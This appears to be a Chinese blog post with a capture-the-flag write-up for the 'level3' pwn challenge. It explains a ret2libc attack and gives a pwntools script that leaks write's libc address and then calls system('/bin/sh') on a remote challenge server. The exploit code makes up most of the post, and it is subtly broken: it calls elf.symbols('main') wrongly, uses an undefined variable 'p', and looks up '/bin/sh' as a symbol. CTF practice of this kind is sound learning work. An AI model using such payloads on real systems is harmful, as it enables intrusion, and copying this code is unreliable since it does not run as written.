zoukankan      html  css  js  c++  java
  • *pwn*练习6——攻防世界-level3

    这个题做的蛮久的,老样子,基本操作来一遍

    通过ida分析后,没有system函数,也没有/bin/sh这样的字眼,但题目给了一个动态库,于是我们可以通过另一个库,来调出system(/bin/sh),

    两个调用的动态函数库相同,所以write函数和system函数之间的地址差值是相同的,所以我们的目的是求出差值。我们最后要求出system的真实地址。

    所以构造的第一个payload就是为了得出write函数的真实的地址,通过write的真实地址,就可以得到动态函数中write和symtem的真实地址。

    esp:寄存器存放当前线程的栈顶指针
    ebp:寄存器存放当前线程的栈底指针
    eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

    from pwn import *
    kubopiy=remote("220.249.52.133",42657)#进行连接
    elf = ELF("./level3")
    libc=ELF('./libc_32.so.6')
    #获取lib库对象
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    main_addr = elf.symbols('main')
    payload='a'*(0x88+0x04)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    #填入垃圾字符,用plt调用write函数,使之该函数结束的时候返回到main函数进行第二次攻击,后面三个是write函数的三个参数,就能得到write函数的真实地址
    kubopiy.recvuntil("Input: ")#第一次攻击
    kubopiy.sendline(payload)
    write_got_addr=u32(p.recv())#u32解包,得到write的真实地址
    sys_base=write_got_addr-libc.symbols['write']
    system_addr=sys_base+libc.symbols['system']
    bin_addr=sys_base+libc.symbols['/bin/sh']
    kubopiy.recvuntil("Input: ")#第二次攻击
    payload='a'*(0x88+0x04)+p32(system_addr)+'a'*(4)+p32(bin_addr)
    kubopiy.sendline(payload)
    kubopiy.interactive()
  • 相关阅读:
    C语言与水仙花数
    C语言break和continue
    C语言中常量
    C语言中计算变量占用内存空间
    C语言中if语句
    JavaScript放置位置区别
    单选按钮中实现点击文字选中
    C语言(4)
    C语言(3)
    【第四课】kaggle案例分析四
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13702640.html
Copyright © 2011-2022 走看看